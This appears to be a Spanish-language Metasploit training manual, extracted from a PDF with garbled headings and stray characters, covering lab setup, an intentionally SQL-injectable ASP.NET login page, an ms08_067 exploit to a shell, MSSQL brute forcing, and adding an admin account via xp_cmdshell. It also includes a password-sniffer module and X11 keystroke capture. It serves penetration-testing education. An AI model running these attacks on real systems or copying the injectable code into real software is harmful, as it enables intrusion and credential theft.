Manual de It Framework
Manual de It Framework
Manual de It Framework
c
c
à
-Abraham Lincoln
³Si yo tuviera 6 horas para cortar un árbol, me pasaría las primeras cuatro afilando
mi hacha´. -Abraham Lincoln
Tenga en cuenta que MSF esta en constante evolución y sospecho que al tiempo
que este curso salio a la luz, habrá muchos cambios y adiciones al proyecto.
Nosotros intentaremos mantener este curso al día con todas las nuevas y
emocionantes características de Metasploit que se le irán añadiendo.
c
[ c
c
c
cc
c
c
No debería ser ninguna sorpresa que la mayoría de los exploits disponibles en
Metasploit Framework están dirigidos hacia Microsoft Windows, así que para
completar el laboratorio de este curso usted requerirá un sistema objetivo para los
ataques. Este sistema debería consistir en una Maquina Virtual de su elección en
el computador anfitrión.
Si usted no tiene un Windows XP extra y/o una licencia del VMware Workstation,
NIST tiene una maquina virtual con WinXP pre-instalada disponible para ser
descargada bajo "Federal Desktop Core Configuration project" en las URL de
referencias en las secciones siguientes. Su FAQ es un buen recurso para
familiarizarse con el FDCC.
Aunque VMware Converter y VMware Player son "gratis", tendrá que registrarse
para realizar la descarga. Sin embargo, la virtualizacion de aplicaciones y
programas vale la pena el registro si no es ya un miembro actual. Usted también
puede usar VMware Workstation o alguna otra aplicación de Virtualizacion de
Infraestructura.
Este curso fue creado usando la ultima versión de svn trunk del Metasploit
Framework, en el momento de escribir este articulo la versión es 3.3-dev. Si esta
usando back|track 4 como su plataforma, puede siempre actualizar a la ultima
versión del trunk usando 'svn up' en el directorio '/pentest/exploits/framework3/'.
c
[ c
cc
c
c
Antes de entrar en el maravilloso mundo de Metasploit Framework tenemos que
garantizar nuestro hardware cumpla o supere algunos requerimientos antes de
proceder. Esto ayudara a eliminar muchos problemas antes de que surjan mas
adelante.
©
x
Este sera lo mas exigente de superar. Sea creativo si llega a tener limitaciones en
el espacio. Este proceso puede consumir casi 20 gigabytes de espacio en el disco,
así que está avisado. Esto significa que no puede usar una partición FAT32 ya que
no admite archivos grandes. Elija NTFS, ext3 o algún otro formato. El espacio
recomendado necesario es de 40 gigabytes.
total --------
28896MB
8589934592 8192MB //Optional Backtrack "GUEST" HDD Requirement's
total --------
37088MB
123290094 112MB //VMware-converter-4.0.1-161434.tar.gz
377487360 360MB //VMware Converter installed on disk
101075736 97MB //VMware-Player-2.5.3-185404.i386.bundle
157286400 150MB //VMware Player Installed on disk
total --------
37807MB //See how fast it gets consumed!
Si decidió producir clones o snapshots a medida que avanza en este curso, estas
también ocuparan una cierta cantidad de espacio. Este alerta y asegure el espacio
necesario.
·
©
Una vez la descarga este finalizada, tendremos que extraer la maquina virtual de
Ubuntu Server.
[ c
c
c
r
!"#"#$!%&
!"#"#$!%&'
!"#"#$!%&
!"#"#$!%&(
3. Ahora debemos instalar WinRAR. Esto nos ayudara a extraer la maquina virtual
desde el archivo zip.
root@bt4:~# wget
http://www.offensivesecurity.com/msf/XP_NIST_FDCC_Q4_2009.vmc
3. Abra "Automatic Updates" y seleccione "Turn off Automatic Updates" para que
Windows no deshaga los cambios que hicimos.
4. Abra "Security Center", seleccione "Change the way Security Center alerts me"
del lado izquierdo y desmarque todas las casillas. Esto deshabilitara los molestos
pop-up de notificaciones en el system tray.
c
[ c
c
c
Para proporcionar una mayor superficie de ataque para los varios componentes de
Metasploit, nosotros habilitaremos e instalaremos algunos servicios adicionales
dentro de nuestra maquina virtual con Windows.
c
c
c
Por ultimo, seleccione la casilla de "Management and Monitoring Tools" y haga
click en "Details". Asegurese que las dos opciones estén seleccionadas y haga
click en "OK". Cuando este listo, click en "Next" para proceder con la instalación
de IIS y SNMP.
c
El .NET Framework instalado en la maquina virtual tiene un problema pero es fácil
de solucionar. En el Panel de Control, seleccione "Add or Remove Programs"
nuevamente, seleccione "Microsoft .NET Framework 2.0 Service Pack 1", y haga
click en "Change".
c
SQL Server 2005 Express
Tenga en cuenta que si esta usando una VM construida por usted para este curso,
tendra que instalar el Windows Installer 3.1 y el .Net Framework 2.0 para instalar
el SQL Express. Windows Installer 3.1:
http://www.microsoft.com/downloads/details.aspx?familyid=889482FC-5F56-4A38-
B838-DE776FD4138C&displaylang=en .NET Framework 2.0
http://www.microsoft.com/downloads/details.aspx?FamilyID=0856EACB-4362-
4B0D-8EDD-AAB15C5E04F5&displaylang=en
c
Ya completada la instalacion, tendremos que hacerlo accesible desde la red. Click
"Start" -> "All Programs" -> "Microsoft SQL Server 2005" -> "Configuration Tools" -
> "SQL Server Configuration Manager". Cuando se haya iniciado el administrador
de configuración, seleccione "SQL Server 2005 Services", click derecho en "SQL
Server (SQL EXPRESS)" y seleccione "Stop". Ahora, expanda "SQL Server 2005
Network Configuration" y seleccione "Protocols for SQLEXPRESS"
c
Doble click en "TCP/IP", cambie "Enabled" a "Yes", y cambie "Listen ALL" a "No"
en la pestaña "Protocol"
c
Ahora seleccione la pestaña "IP Addresses", y elimine todas las entradas en
"IPALL". En la "IP1" y "IP2", elimine cualquier valor de "Dynamic Ports". Ambos
IP1 y IP2, deberían tener "Active" y "Enabled" establecido en "Yes". Por ultimo,
establezca la IP1 en "IP Adress" con su dirección de red local y la dirección IP2 a
127.0.0.1. La configuración tiene que ser similar al screenshot de abajo. Click "OK"
cuando todo este configurado correctamente.
c
A continuación, habilitemos el servicio SQL Server Browser. Seleccione "SQL
Server 2005 Services" y haga doble click en "SQL Server Browser". En la pestaña
"Service", coloque el "Start Mode" en "Automatic" y de click en "OK".
c
Por defecto, el servidor SQL se ejecuta bajo una cuenta con privilegios limitados lo
que no permite muchas aplicaciones web personalizadas. Cambiaremos esto
dando doble click "SQL Server (SQLEXPRESS)" y establecemos el inicio de
sesion como "Local System account". Esto lo puede establecer tambien en
"services.msc". Click "OK" cuando haya terminado.
c
Con todo finalmente configurado, haga click derecho en "SQL Server
(SQLEXPRESS)" y seleccione "Start". Haga lo mismo para el servicio "SQL Server
Browser". Ahora puede salir de el Administrador de Configuración y verificar que el
servicio este a la escucha correctamente ejecutando "netstat -ano" desde la linea
de comandos. Usted vera a la escucha el puerto 1434 UDP asi como también su
dirección IP escuchando por el puerto 1433.
c
[ c
c
c
cc"
c
c
Para crear nuestra aplicacion web vulnerable, tendra que descargar SQL Server
Management Studio Express desde:
http://www.microsoft.com/downloadS/details.aspx?familyid=C243A5AE-4BD1-
4E3D-94B8-5A0F62BF7796&displaylang=en
Instale SQL Server Managment Studio Express, aceptando todo los valores por
defecto de la instalacion luego ejecutelo en "Start" -> "All Programs" -> "Microsft
SQL Server 2005" -> "SQL Server Management Studio Express".
c
Escriba "WebApp" como nombre de la base de datos y click en "OK". En "Object
Explorer", expanda "Databases", luego expanda la base de datos "WebApp". Click
derecho "Tables" y seleccione "New Table".
Cree una nueva tabla llamada "users" con el nombre de columna y tipos como se
muestra abajo en la imagen.
c
Introduzca algunos datos de ejemplo en la tabla y guardelo todo.
Bajo del árbol principal en "Object Explorer", expanda "Security", luego "Logins".
Click derecho en "Logins" y seleccione "New Login".
c
Haga click en las propiedades de ASPNET, y asegúrese que en user mapping (del
lado izquierdo) la cuenta de usuario tiene db_owner y permisos públicos a la base
de datos WebApp.
c
A continuación, creamos nuestra pagina web para interactuar con la base de datos
que hemos creado. Abra Notepad y pegue el siguiente código en un nuevo
documento. Guarde el documento como "C:\Inetpub\wwwroot\Default.aspx".
</head>
<body bgcolor="white">
<form id="form1" runat="server">
<div>
<font color="black">
<asp:Panel ID="pnlLogin" Visible="true" runat="server">
<asp:Table ID="tblLogin" runat="server">
<asp:TableRow>
<asp:TableCell>
<asp:Literal Text="Login:" runat="server" />
</asp:TableCell>
<asp:TableCell>
<asp:TextBox ID="txtLogin" width="200" BackColor="white"
ForeColor="black" runat="server" />
</asp:TableCell>
</asp:TableRow>
<asp:TableRow>
<asp:TableCell>
<asp:Literal ID="ltrlPassword" Text="Password" runat="server" />
</asp:TableCell>
<asp:TableCell>
<asp:TextBox ID="txtPassword" width="200" TextMode="password"
BackColor="white" ForeColor="black" runat="server" />
</asp:TableCell>
</asp:TableRow>
<asp:TableRow>
<asp:TableCell ColumnSpan="2" HorizontalAlign="center">
<asp:Button ID="btnSubmit" BorderColor="white" BackColor="white"
ForeColor="black"
Text="Login" OnClick="btnSubmit_Clicked" runat="server" />
<br /></asp:TableCell>
</asp:TableRow>
</asp:Table>
<h5>Please dont hack this site :-(
</asp:Panel>
<asp:Panel ID="pnlChatterBox" Visible="false" runat="server">
You haz logged in! :-)
</asp:Panel>
</font>
</div>
</form>
</body>
</html>
using System;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
sql = "SELECT first_name + ' ' + last_name + ' ' + middle_name FROM users
WHERE username = '" + Request.QueryString["login"] + "' " +
"AND password = '" + Request.QueryString["password"] + "'";
Login();
}
}
if (txtLogin.Text == "")
{
lblErrorMessage.Text = "Missing login name!<br />";
lblErrorMessage.Visible = true;
}
else
{
if (txtPassword.Text == "")
{
lblErrorMessage.Text = "Missing password!<br />";
lblErrorMessage.Visible = true;
}
else
{
sql = "SELECT first_name + ' ' + last_name + ' ' + middle_name FROM users
WHERE username = '" + txtLogin.Text + "' " +
"AND password = '" + txtPassword.Text + "'";
Login();
}
}
}
objConn.Open();
if (cmd.ExecuteScalar() != DBNull.Value)
{
if (Convert.ToString(cmd.ExecuteScalar()) != "")
{
lblErrorMessage.Text = "Sucessfully logged in!";
lblErrorMessage.Visible = true;
pnlLogin.Visible = false;
pnlChatterBox.Visible = true;
}
else
{
lblErrorMessage.Text = "Invalid Login!";
lblErrorMessage.Visible = true;
}
}
else
{
lblErrorMessage.Text = "Invalid Username/";
lblErrorMessage.Visible = true;
}
objConn.Close();
}
<?xml version="1.0"?>
<configuration>
<connectionStrings>
<add name="test"
connectionString="server=localhost;database=WebApp;uid=sa;password=passwo
rd1;" providerName="System.Data.SqlClient"/>
</connectionStrings>
<system.web>
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c c (c
c
Hay diferentes interfaces para el framework Metasploit, cada uno con sus ventajas
y desventajas. Como tal, no hay una interfaz perfecta para usar con MSF, aunque
msfconsole es la única forma soportada para acceder a la mayoría de las
características del Framework. Es beneficiosa, sin embargo, para estar cómodo
con todas las interfaces que ofrece MSF.
c
c
Msfcli proporciona una poderosa interfaz de linea de comando al framework.
Note que cuando usa msfcli, las variables son asignadas con "=" y todas las
opciones son sensibles a mayúsculas y minúsculas.
root@bt4:/pentest/exploits/framework3# ./msfcli
windows/smb/ms08_067_netapi RHOST=192.168.1.115
PAYLOAD=windows/shell/bind_tcp E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (192.168.1.101:54659 ->
192.168.1.115:4444)
C:\WINDOWS\system32>
root@bt4:/pentest/exploits/framework3# ./msfcli
windows/smb/ms08_067_netapi O
Para mostrar los payloads disponibles para el modulo actual, anada la letra "P" a
la cadena de la linea de comandos.
root@bt4:/pentest/exploits/framework3# ./msfcli
windows/smb/ms08_067_netapi RHOST=192.168.1.115 P
[*] Please wait while we load the module tree...
Compatible payloads
===================
Name Description
---- -----------
generic/debug_trap Generate a debug trap
in the target process
...snip...
c
Las otras opciones disponibles para msfcli, las puede ver con "msfcli -h".
Beneficios de msfcli
c#
!cc
Msfgui, como su nombre lo indica, proporciona al usuario una interfaz gráfica para
el Metasploit Framework.
) cc# !*cc
å
cc#
!*cc
c
c#
cc
El componente msfweb de Metasploit es una interfaz multiusuario Ruby-sobre-
ruedas (Ruby-on-rails) del el Framework.
) cc# cc
å
+
cc#
*cc
c
A continuación se cubren diversas características en Metasploit framework
que pueden ayudarlo en la recopilación de información.
c(
#,cå
c
c
Cuando estas haciendo un pen-test (Prueba de penetración) formando parte de un
equipo o trabajando por tu cuenta, vas querer guardar los resultados para una
rápida referencia, compartir tus datos con tu equipo, y escribir un reporte final. Una
excelente herramienta para realizar todo lo nombrado anteriormente es el
framework dradis. Dradis es un framework open source para compartir informacion
durante evaluaciones de seguridad y se puede conseguir aqui. El framework
dradis es desarrollado activamente con nuevas opciones que se le añaden
regularmente.
Dradis es mas que una aplicación para tomar notas. Se comunica por SSL, puede
importar archivos de resultados desde Nmap y Nessus, adjuntar archivos, genera
reportes y puede se puede ampliar para conectarse con sistemas externos
(Ejemplo. Base de datos de vulnerabilidad). En back|track4 puedes ejecutar el
siguiente comando:
root@bt4: apt-get install dradis
root@bt4: cd /pentest/misc/dradis/server
root@bt4: ruby ./script/server
=> Booting WEBrick...
=> Rails application started on https://localhost:3004
=> Ctrl-C to shutdown server; call with --help for options
[2009-08-29 13:40:50] INFO WEBrick 1.3.1
[2009-08-29 13:40:50] INFO ruby 1.8.7 (2008-08-11) [i486-linux]
[2009-08-29 13:40:50] INFO
c
c
Del lado izquierdo puedes crear una estructura de arbol. Uselo para organizar su
informacion (Ejemplo. Hosts, Subnets (Subredes), Servicios, etc). Del lado
derecho puede agregar informacion relevante para cada elemento (notas o
archivos adjuntos).
Antes de iniciar la consola de dradis, tendra que editar el archivo "dradis.xml" para
reflejar el nombre de usuario y contraseña que se establecio al principio cuando se
ejecuto el servidor. Este archivo puede ser localizado en back|track4 bajo
"/pentest/misc/dradis/client/conf".
Para mas información sobre el framework dradis, puede visitar el sitio del proyecto
en http://dradisframework.org/.
[ c
cc
c
c
Aunque tenemos listo y configurado dradis para guardar nuestras notas y
resultados, es buena practica crear una nueva base de datos dentro de Metasploit
los datos pueden ser útiles para una rápida recuperación y para ser usado en
ciertos escenarios de ataque.
Command Description
------- -----------
db_add_host Add one or more hosts to the database
db_add_note Add a note to host
db_add_port Add a port to host
db_autopwn Automatically exploit everything
db_connect Connect to an existing database
db_create Create a brand new database
db_del_host Delete one or more hosts from the database
db_del_port Delete one port from the database
db_destroy Drop an existing database
db_disconnect Disconnect from the current database instance
db_driver Specify a database driver
db_hosts List all hosts in the database
db_import_amap_mlog Import a THC-Amap scan results file (-o -m)
db_import_nessus_nbe Import a Nessus scan result file (NBE)
db_import_nessus_xml Import a Nessus scan result file (NESSUS)
db_import_nmap_xml Import a Nmap scan results file (-oX)
db_nmap Executes nmap and records the output
automatically
db_notes List all notes in the database
db_services List all services in the database
db_vulns List all vulnerabilities in the database
msf >
Podemos usar el comando "db_nmap" para hacer un escaneo con Nmap contra
nuestros objetivos y tener el resultado de exploracion guardado en la base de
datos creada recientemente sin embargo, Metasploit solo creara el archivo de
salida en XML que es el formato usado para la base de datos mientras que dradis
puede importar cualquier salida grep o normal. Siempre es bueno tener los tres
formatos de salida de Nmap (XML, grep y normal) asi que escaneamos con Nmap
usando el flag o parametro "-oA" para generar los tres archivos de salida luego
usar el comando "db_import_nmap_xml" para rellenar la base de datos Metasploit.
c
c
c
c!
c-
c
c
Escáneres y la mayoría de los otros módulos auxiliares usan la opción RHOSTS
en vez de RHOST. RHOSTS puede tomar un rango de IP (192.168.1.20-
192.168.1.30), rangos CIDR (192.168.1.0/24), múltiples rangos separados por
comas (192.168.1.0/24, 192.168.3.0/24), y separados en lista en un archivo
(file:/tmp/hostlist.txt). Estas son otras funciones para nuestro archivo de salida de
Nmap.
Tenga en cuanta que, por defecto, todos los módulos de escaner tendrán el valor
de THREADS en "1". La opción de THREADS establece el numero presentes de
procesos para ser utilizados durante el escaneo. Establezca este valor a un
numero alto a fin de acelerar la exploración o mantengalo bajo para reducir el
trafico de red pero asegúrese de cumplir con las siguientes reglas:
Escaneo de Puertos
Vamos a comparar nuestro resultado del puerto 80 realizado con Nmap con los
modulos de escaneo de Metasploit. Primero vamos a determinar que hosts tienen
el puerto 80 abierto segun Nmap.
El escaneo con Nmap realizado hace un rato fue un escaneo SYN por lo que
ejecutaremos el mismo escaneo a través de la subred (subnet) buscando puertos
80 por la interfaz eth0 usando Metasploit.
Así podemos ver que los módulos de escaner incorporados en Metasploit son mas
que capaces para encontrar sistemas y con puertos abiertos para nosotros. Es
otra excelente herramienta para tener en tu arsenal si estas usando Metasploit en
un sistema sin Nmap instalado.
Ahora que hemos determinado cuales hosts están disponibles en la red, podemos
intentar determinar cual sistema operativo están ejecutando. Esto nos ayudara a
reducir los ataques para atacar un sistema en especifico y dejaremos de perder el
tiempo en aquellos que no son vulnerables a un exploit en particular.
Como hay muchos sistemas en la exploración con el puerto 445 abierto, vamos a
usar el modulo "scanner/smb/version" para determinar cual versión de Windows
usa el objetivo y cual version de Samba se encuentra en un host con Linux.
Nmap con el "IPID Idle scannning" nos permite ser un poco mas cauteloso
explorando un objetivo, mientras se entrega una dirección IP (spoofing) de otro
host en la red. Para queceste tipo de exploración trabaje, tendremos que buscar un
host que este inactivo en la red y usar su numero de secuencia IPID incremental o
un Broken little-endian incremental. Metasploit contiene el modulo
"scanner/ip/ipidseq" para explorar y ver un host que se adapte a los requisitos.
c)
c ./c
c
Uno de mis favoritos es la huella avanzada UDP de MSSQL servers. Si esta
realizando un prueba de penetración interna, esta es una herramienta que debería
tener. Cuando se instala MSSQL, se instala en el puerto 1433 TCP o un puerto
aleatorio TCP dinámico. Si el puerto es generado dinamicamente, puede ser
complicado para un atacante conseguir los servidores de MSSQL a los cual
atacar.Por suerte Microsoft, no ha bendecido con el puerto 1434 UDP, una vez
que se ha consultado, nos permite conseguir una pequeña información sobre los
servidores SQL incluyendo que puertos TCP esta a la escucha. Carguemos el
modulo y usemoslo para descubrir múltiples servidores.
El primer comando que usamos fue para buscar cualquier plugins "mssql". La
segunda instrucción "use scanner/mssql/mssql_ping", esto carga el modulo de
escaner para ser usado por nosotros. Lo siguiente, "show options" nos permite ver
las opciones que necesitamos especificar. El "set RHOSTS 10.211.55.1/24"
establece el rango de subred donde queremos empezar a buscar los servidores
SQL. Puede especificar /16 o el que quiera después. Yo recomendaría
incrementar el numero de threads ya que podría tardar mucho tiempo con un solo
threads en el escaner.
"La primera línea de arriba te permiten entrar al módulo de Fuerza bruta de Mssql
propuesto por metaesploit, con la segunda línea puedes ver las opciones de este
módulo para obtener los resultados esperados"
También puede utilizar Fast-Track, medusa, o hydra para hacer esto. Una vez
conseguida la contraseña, hay un pequeño modulo para ejecutar el xp_cmdshell
con procedimientos almacenados.
c
msf auxiliary(mssql_login) > use admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > show options
Module options:
Name Current Setting
Required Description
---- --------------- -----
--- -----------
CMD cmd.exe /c echo OWNED > C:\owned.exe no
Command to execute
HEX2BINARY /pentest/exploits/framework3/data/exploits/mssql/h2b no
The path to the hex2binary script on the disk
MSSQL_PASS no
The password for the specified username
MSSQL_USER sa no
The username to authenticate as
RHOST yes
The target address
RPORT 1433 yes
The target port
msf auxiliary(mssql_exec) > set RHOST 10.211.55.128
RHOST => 10.211.55.128
msf auxiliary(mssql_exec) > set MSSQL_PASS password
MSSQL_PASS => password
msf auxiliary(mssql_exec) > set CMD net user rel1k ihazpassword /ADD
cmd => net user rel1k ihazpassword /ADD
msf auxiliary(mssql_exec) > exploit
The command completed successfully.
[*] Auxiliary module execution completed
M cc c
cc cc
ccc
Viendo la linea "net user rel1k ihazpassword /ADD", hemos agregado una cuenta
de usuario llamado "rel1k", desde aquí podemos usar "net localgroup
Administradores rel1k /ADD" para obtener un administrador local en el sistema. En
este punto tenemos el control total del sistema.
c
cc
c
De nuevo, un uso distinto que Nmap para realizar un escaneo de servicios en
nuestra red objetivo, Metasploit también incluye una gran variedad de escaneres
para distintos servicios, que ayudan a determinar servicios vulnerables que se
están ejecutando en la maquina objetivo
cc
msf auxiliary(tcp) > search auxiliary ^scanner
[*] Searching loaded modules for pattern '^scanner'...
Auxiliary
=========
Name Description
---- -----------
scanner/db2/discovery DB2 Discovery Service
Detection.
scanner/dcerpc/endpoint_mapper Endpoint Mapper Service
Discovery
scanner/dcerpc/hidden Hidden DCERPC Service
Discovery
scanner/dcerpc/management Remote Management
Interface Discovery
scanner/dcerpc/tcp_dcerpc_auditor DCERPC TCP Service Auditor
scanner/dect/call_scanner DECT Call Scanner
scanner/dect/station_scanner DECT Base Station Scanner
scanner/discovery/arp_sweep ARP Sweep Local Network
Discovery
scanner/discovery/sweep_udp UDP Service Sweeper
scanner/emc/alphastor_devicemanager EMC AlphaStor Device
Manager Service.
scanner/emc/alphastor_librarymanager EMC AlphaStor Library
Manager Service.
scanner/ftp/anonymous Anonymous FTP Access
Detection
scanner/http/frontpage FrontPage Server
Extensions Detection
scanner/http/frontpage_login FrontPage Server
Extensions Login Utility
scanner/http/lucky_punch HTTP Microsoft SQL
Injection Table XSS Infection
scanner/http/ms09_020_webdav_unicode_bypass MS09-020 IIS6 WebDAV
Unicode Auth Bypass
scanner/http/options HTTP Options Detection
scanner/http/version HTTP Version Detection
...snip...
scanner/ip/ipidseq IPID Sequence Scanner
scanner/misc/ib_service_mgr_info Borland InterBase Services
Manager Information
scanner/motorola/timbuktu_udp Motorola Timbuktu Service
Detection.
scanner/mssql/mssql_login MSSQL Login Utility
scanner/mssql/mssql_ping MSSQL Ping Utility
scanner/mysql/version MySQL Server Version
Enumeration
scanner/nfs/nfsmount NFS Mount Scanner
scanner/oracle/emc_sid Oracle Enterprise Manager
Control SID Discovery
scanner/oracle/sid_enum SID Enumeration.
scanner/oracle/spy_sid Oracle Application Server
Spy Servlet SID Enumeration.
scanner/oracle/tnslsnr_version Oracle tnslsnr Service
Version Query.
scanner/oracle/xdb_sid Oracle XML DB SID
Discovery
...snip...
scanner/sip/enumerator SIP username enumerator
scanner/sip/options SIP Endpoint Scanner
scanner/smb/login SMB Login Check Scanner
scanner/smb/pipe_auditor SMB Session Pipe Auditor
scanner/smb/pipe_dcerpc_auditor SMB Session Pipe DCERPC
Auditor
scanner/smb/smb2 SMB 2.0 Protocol Detection
scanner/smb/version SMB Version Detection
scanner/smtp/smtp_banner SMTP Banner Grabber
scanner/snmp/aix_version AIX SNMP Scanner Auxiliary
Module
scanner/snmp/community SNMP Community Scanner
scanner/ssh/ssh_version SSH Version Scannner
scanner/telephony/wardial Wardialer
scanner/tftp/tftpbrute TFTP Brute Forcer
scanner/vnc/vnc_none_auth VNC Authentication None
Detection
scanner/x11/open_x11 X11 No-Auth Scanner
En un corto periodo de tiempo y con muy poco trabajo, hemos podido adquirir una
gran informacion sobre los hosts que residen en nuestra red lo que nos da una
vision mucho mejor a que nos enfretamos cuando realizamos nuestra prueba de
penetracion.
c
c
c !c
c
Recientemente, Max Moser libero un modulo de Metasploit llamado "psnuffle" que
es un sniffer de password para obtener las contraseñas parecido a la herramienta
dsniff. Actualmente soporta pop3, imap, ftp, y HTTP GET. Puede leer mas sobre el
modulo en el Blog de Max en http://remote-exploit.blogspot.com/2009/08/psnuffle-
password-sniffer-for.html
Hemos capturado un login de FTP con éxito. Esta es una excelente herramienta
para recopilar información de manera pasiva.
c
c
c#
c
c
c
Como escribir un modulo nuevo de psnuffle
Definiendo patrones:
self.sigs = {
:ok => /^(+OK[^n]*)n/si,
:err => /^(-ERR[^n]*)n/si,
:user => /^USERs+([^n]+)n/si,
:pass => /^PASSs+([^n]+)n/si,
:quit => /^(QUITs*[^n]*)n/si }
Esta sección define los patrones de expresiones que se usaran durante el sniffing
para identificar datos interesantes. Las expresiones regulares se verán extrañas al
principio pero son muy poderosas. En resumen, todo dentro del () estará
disponible mas tarde dentro de una variable en el script.
self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}
Para el IRC esta sección lucirá como la de arriba. Si yo se que no todos los nick
en los servidores usan IDENTIFY para enviar la contraseña, pero los de freenode
lo hacen. Hey esto es un ejemplo :-)
Definicion de sesion:
Para cada modulo, primero tenemos que definir que puertos se deben usar y como
sera rastreada la sesión.
return if not pkt[:tcp] # We don't want to handle anything other than tcp
return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) #
Process only packet on port 6667
#Ensure that the session hash stays the same for both way of
communication
if (pkt[:tcp].dst_port == 6667) # When packet is sent to server
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-
#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")
else # When packet is coming from the server
s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-
#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")
end
case matched
Cuando se consulta a traves de SNMP, esta lo que hace es llamar a un MIB API.
El MIB representa la Base de la Gestion de la Informacion (Management
Information Base), esta interfaz permite consultar al dispositivo y extraer
informacion. Metasploit viene cargado con una lista por defecto de MIBs con su
base de datos, lo usa para consultar al dispositivo para obtener mas informaion en
funcion del nivel de acceso que se tenga. Miremos al modulo auxiliar.
c"
cc/! c )c
Una situacion comun donde se puede encontrar usted, es con la posesion de un
usuario y clave, se preguntara en donde mas prodria usarlo. Aqui es donde el
escanner SMB Login Check puede ser muy util, ya que se conectara a un rango
de computadores (hosts) y determinara si la combinacion usuario/clave son
validas con el objetivo.
Tenga en mente, que esto es muy "obvio", ya que mostrara los intentos fallidos en
el visor de eventos (registros de logs). Tener cuidado en que red esta haciendo
esto. Todos los intentos exitosos pueden ser conectados en el modulo de exploit
windows/smb/psexec (exactamente como la herramienta) la cual es usada para
crear sesiones de Meterpreter.
[ c
c"0c
c
El escaner "Sin Autentificacion VNC" buscara un rango de direciones IP en busca
de objetivos que corran el servicio de VNC sin contrasena configurada. Se supone
que cada administrador deberia pone una contrasena antes de permitir conexiones
entrantes, pero nunca se sabe cuando puedes tener suerte y tener exito en el
pentest.
cc
c
c
c
c
Open X11
Para usar, una vez que se haya seleccionado el modulo auxiliar, definir las
opciones, y luego dejar correr.
root@bt4:/# cd /pentest/sniffers/xspy/
root@bt4:/pentest/sniffers/xspy# ./xspy -display 192.168.1.101:0 -delay
100
ssh [email protected](+BackSpace)37
sup3rs3cr3tp4s5w0rd
ifconfig
exit
c
c
cc c
c
WMAP es un escaner de vulnerabilidad web con muchas caracteristicas, que fue
originalmente creado a partir de una herramienta llamada SQLMap. Esta
herramienta ofrece la habilidad de tener un proxy y poder capturar paquetes para
realizar analisis de vulnerabilidad. Primero tenemos que descargar un proxy que
sea compatible y parchearlo con el Metasploit patch. Tambien tenga en cuenta,
que si no lo ha hecho ya, instale rubygems y ruby-sqlite3 ya que es un requisito.
root@bt4:/pentest/exploits/framework3# wget
http://ratproxy.googlecode.com/files/ratproxy-1.58.tar.gz
--2009-06-29 21:41:02-- http://ratproxy.googlecode.com/files/ratproxy-
1.58.tar.gz
Resolving ratproxy.googlecode.com... 74.125.93.82
Connecting to ratproxy.googlecode.com|74.125.93.82|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 168409 (164K) [application/x-gzip]
Saving to: `ratproxy-1.58.tar.gz'
100%[===================================>] 168,409 201K/s
in 0.8s 2009-06-29 21:41:03 (201 KB/s) - `ratproxy-1.58.tar.gz' saved
[168409/168409]
root@bt4:/pentest/exploits/framework3# tar -zxvf ratproxy-1.58.tar.gz
Unpacked
root@bt4:/pentest/exploits/framework3# cd ratproxy
root@bt4:/pentest/exploits/framework3/ratproxy# patch -d . <
/pentest/exploits/framework3/external/ratproxy/ratproxy_wmap.diff
patching file Makefile
patching file ratproxy.c
Hunk #8 succeeded at 1785 (offset 9 lines).
Hunk #9 succeeded at 1893 (offset 9 lines).
patching file http.c
Hunk #3 succeeded at 668 (offset 8 lines).
root@bt4:/pentest/exploits/framework3/ratproxy# make
Compiled no errors.
Ahora que tenemos ratproxy parcheado y listo, tenemos que configurar el proxy
para permitir que las comunicaciones pasen a traves del tunel de nuestro proxy y
permitir Metasploit WMAP. Primero abre Firefox y sigue las opciones, en el menu
Edit, Preferences, Advanced, Network, Setting, Manual proxy configuration,
seleccione "Usar este proxy para todos los protocolos" y en el campo proxy HTTP,
introducir localhost y establecer en el puerto 8080.
Una vez que este configurado, usaremos una serie de comandos, iremos a la
pagina web, y de ultimo la atacaremos. Sigamos el proceso y veamos como es.
Primero necesitamos configurar y conectarnos a nuestra base de datos.
root@bt4:/pentest/exploits/framework3# ./msfconsole
=[ metasploit v3.3-testing [core:3.3 api:1.0]
+ -- --=[ 381 exploits - 231 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 156 aux
msf > db_create wmap.db
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: wmap.db
msf > load db_wmap
[*] =[ WMAP v0.6 - et [ ] metasploit.com
[*] Successfully loaded plugin: db_wmap
msf > db_connect wmap.db
[*] Successfully connected to the database
[*] File: wmap.db
En otra ventana de terminal o pestaña, ejecute ratproxy con los registros activos,
apuntando a la base de datos que creamos.
root@bt4:/pentest/web/ratproxy# ./ratproxy -v
/pentest/exploits/framework3/ -b wmap.db
ratproxy version 1.58-beta by [email protected]
[!] WARNING: Running with no 'friendly' domains specified. Many cross-
domain
checks will not work. Please consult the documentation for advice.
[*] Proxy configured successfully. Have fun, and please do not be evil.
[+] Accepting connections on port 8080/tcp (local only)...
Una vez que terminemos de navegar por la pagina web objetivo, volvemos a la
session de Metasploit y vemos lo que hemos capturado.
WMAP ahora utilizara los archivos de la base de datos que estaban apuntado a
ratproxy y que se crearon con Metasploit, ahora empezaremos atacar al sitio web
objetivo. Esto generalmente toma un tiempo, ya que hay una cantidad
considerable de ataques en WMAP. Note que algunas comprobaciones no son
confiables y pueden tomar mas tiempo para ser completadas. Para salir de un
modulo auxiliar especifico, solo use "control-c" y seguira al siguiente modulo
auxiliar.
